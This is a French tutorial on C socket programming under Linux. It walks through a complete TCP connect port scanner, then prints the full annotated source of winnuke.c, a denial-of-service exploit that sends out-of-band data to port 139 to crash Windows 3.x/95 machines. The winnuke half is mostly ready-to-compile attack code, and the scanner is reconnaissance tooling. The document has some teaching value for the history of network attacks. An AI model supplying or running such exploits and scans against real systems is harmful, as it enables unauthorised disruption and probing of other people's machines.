LES SOCKETS EN C SOUS LINUX |
Les sockets
en C sous linux
Dans cet article je vais vous expliquer les bases
de la programmation des sockets en C sous LINUX, il vous faudra donc une connaissance
minimale du C et le système Linux ou tout autre UNIX sur votre pc.
Avant de commencer, quelques rappel pour éditer et compiler un fichier
sous linux. Pour éditer un fichier, tapez: vi
<nom_du_fichier.c>. Pour y insérer du texte tapez :i,
pour l'enregistrer tapez :w et pour quitter tapez :q ou :q! (si vous ne souhaitez
pas enregistrer le fichier avant). Pour compiler votre fichier .c rien de plus
simple tapez: gcc <nom_du_fichier.c>
-o <nom_du_fichier>. Une fois compilé, vous pourrez
éxécuter le programme en tapant: ./nom_du_fichier.
Voilà pour les commandes minimale à connaître pour suivre
cet article.
Ici, nous allons créer un scanner de ports. Chouette me direz vous...
Oui sauf qu'il n'est là qu'à titre d'exemple et que la méthode
utilisée n'est en aucun cas la meilleur et la plus rapide.
Il est coutume de comparer les sockets au téléphone, lorsque vous
souhaitez téléphoner, vous installez tout d'abord le téléphone,
puis ensuite vous décrochez, vous composez le numéro de téléphone
à appeller et vous echangez des données (en parlant). Pour les
sockets le principe est le même, vous déclarez une socket (installation),
vous allez remplir une structure contenant les informations de l'ordinateur
à appeller (numéro de téléphone) et ensuite échanger
des données (parler). Pour cet article, l'échange de données
ne sera pas expliqué (il n'est pas nécessaire dans l'exemple car
ce n'est pas un client serveur).
Je vais directement vous donner le code source que je commenterai plus loin:
/* scan.c by alecs */
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[])
{
int sck;
struct sockaddr_in adsck;
struct hostent *hptr;
char *host;
int port;
int first_port;
int last_port;
if(argc != 4) {
printf("usage: %s <host>
<first_port> <last_port>\n", argv[0]);
exit(-1);
}
host = argv[1];
first_port = atoi(argv[2]);
last_port = atoi(argv[3]);
if((hptr = gethostbyname(host)) == NULL) {
printf("invalide host\n");
perror("gethostbyname()");
exit(-1);
}
adsck.sin_family = AF_INET;
bcopy((char *)hptr->h_addr, (char *)&adsck.sin_addr,
hptr->h_length);
for(port = first_port; port <= last_port; port++)
{
adsck.sin_port = htons(port);
if((sck = socket(AF_INET, SOCK_STREAM,
0)) < 0) {
printf("can't
create the socket");
perror("socket()");
exit(-1);
}
if((connect(sck, (struct sockaddr
*) &adsck, sizeof(adsck))) < 0) {
/*
nop */
}
else {
printf("%d
", port);
}
close(sck);
}
printf("\n");
exit(0);
}
Voilà ledit programme, maintenant petite expliquation:
if(argc != 4) {
printf("usage: %s <host>
<first_port> <last_port>\n", argv[0]);
exit(-1);
}
Ici rien de bien compliqué, on verifie le nombre d'arguments passés
en ligne de commande qui doit être 1 (le nom du programme) + 3 autres.
host = argv[1];
first_port = atoi(argv[2]);
last_port = atoi(argv[3]);
On attribut à host le nom de l'ordinateur auquel se connecter (on donnera
le plus souvent une adresse ip). Ensuite on initialise first_port et last_port
qui seront les limites des ports à scanner, ici on utilise atoi() pour
convertir le type char * (argv[2] et argv[3]) en int (qui est le type des variable
qui vont contenir argv[2] et argv[3]).
if((hptr = gethostbyname(host)) == NULL) {
printf("invalide host\n");
perror("gethostbyname()");
exit(-1);
}
La fonction gethostbyname() va remplir la structure hptr et directement convertir
host en big endian qui est en gros le type universel qui permet à n'importe
quel machine sur l'internet de communiquer avec une autre. Petite expliquation
de perror(): cette fonction récupère l'erreur qui est dans le
stderr pour ensuite l'afficher à l'écran.
adsck.sin_family = AF_INET;
bcopy((char *)hptr->h_addr, (char *)&adsck.sin_addr,
hptr->h_length);
Ici on remplit la structure adsck. Tout d'abord on indique la famille d'adresse,
ici AF_INET (protocole Internet). Ensuite on utilise bcopy() pour copier les
informations de la structure hptr (que nous avons rempli avec gethostbyname()
!) vers adsck.sin_addr qui contiendra donc l'ip de la machine hôte (en
gros ;)).
for(port = first_port; port <= last_port; port++)
{
adsck.sin_port = htons(port);
if((sck = socket(AF_INET, SOCK_STREAM,
0)) < 0) {
printf("can't
create the socket");
perror("socket()");
exit(-1);
}
if((connect(sck, (struct sockaddr
*) &adsck, sizeof(adsck))) < 0) {
/*
nop */
}
else {
printf("%d
", port);
}
close(sck);
}
printf("\n");
exit(0);
Bon là c'est la boucle qui va tenter des connexions
sur chaques ports de la machine pour les scanner. Encore une fois je vous répète
que ce n'est en aucun cas la bonne méthode et elle est lente :).
Avant d'essayer de se connecter, on indique le port sur lequel on veut se connecter
(adsck.sin_port = htons(port);) on remplit donc la variable sin_port de notre
structure avec le port courant (celui qui est incrémenté à
chaque itération) en le convertissant avec htons() (conversion en big
endian toujours). Ensuite on cré la socket avec la fonction socket()
en lui passant la famille (AF_INET), le type (SOCK_STREAM pour le TCP) et le
protocole qui est le plus souvent mis à 0 (NULL). Maintenant que la socket
est créée, nous pouvons nous connecter avec la fonctions connect().
On lui indique le socket, la structure qui contient les informations sur l'hôte
(dont l'adresse) et la taille de la structure. Si il y a connexion (enfin en
liste d'attente) c'est que le port était en écoute et qu'il était
donc ouvert, dans le cas contraire c'est qu'il est fermé. On ferme alors
la socket et on recommence au port suivant.
Explication de Winnuke
Pour
ceux qui ne le saurait pas encore (mieux vaut tard que jamais), winnuke est
un programme qui permet de lancer une attaque de type Denial of Service (DoS)
sur une machine équipée de windows3.x ou windows95 principalement.
Ici je vais vous expliquer comment fonctionne ce programme et surtout pourquoi.
Pour ceux qui connaissent déjà les sockets, la compréhension
du code ne sera pas difficile mais si vous n'avez lu que mon article, une petite
explication s'impose. Lorsque winnuke lance une attaque, il se connecte au port
NetBios du pc (équipé d'un OS non protégé contre
cette attaque), ensuite il envois un paquet spécial sur ce port, ce paquet
est "hord bande" (out of band/OOB). Cela signifie que c'est une donnée
urgente qui passe avant les autres datagrammes qui ne sont pas out of band.
Le problème vient du fait que windows95 ne sait pas gérer de tels
paquets, et lorsqu'il en reçois cela provoque une erreur fatale (ce qui
fait en gros planter votre pc). Voilà le code source en question que
j'ai commenté:
/* winnuke.c - (05/07/97) By _eci */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 139 /* Port NetBios sur lequel lancer l'attaque DoS */
int x, s;
/* C'est la chaine de caractere à envoyer en OOB apres la connexion,
son contenu n'a aucune importance */
char *str = "Bye";
/* cf. mon article sur les sockets... */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port)
{
/* cf. mon article sur les sockets... */
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
/* cf. mon article sur les sockets... */
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr,
he->h_length);
}
else {
if ((blah.sin_addr.s_addr =
inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[])
{
if (argc != 2) {
printf("Usage: %s <target>\n",argv[0]);
exit(0);
}
/* cf. mon article sur les sockets... */
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))
== -1) {
perror("socket()");
exit(-1);
}
open_sock(s,argv[1],dport);
printf("Sending crash... ");
/* Ici on envoi le paquet contenant la chaine de caractere
en message hord bande (out of band)
* ce qui provoque le plantage de la machine cible si
elle est pas protégé contre ce type
* d'attaques */
send(s,str,strlen(str),MSG_OOB);
/* usleep permet de suspendre l'application pendant
x microsecondes (ici 100000), ce qui permettra de
* ne pas stopper le programme trop brutalement */
usleep(100000);
printf("Done!\n");
close(s);
}
Voilà, je n'ai pratiquement rien commenté car ce DoS est ultra
simple et vous pouvez comprendre le code source sans problème si vous
vous référez à mon article sur les sockets (plus haut).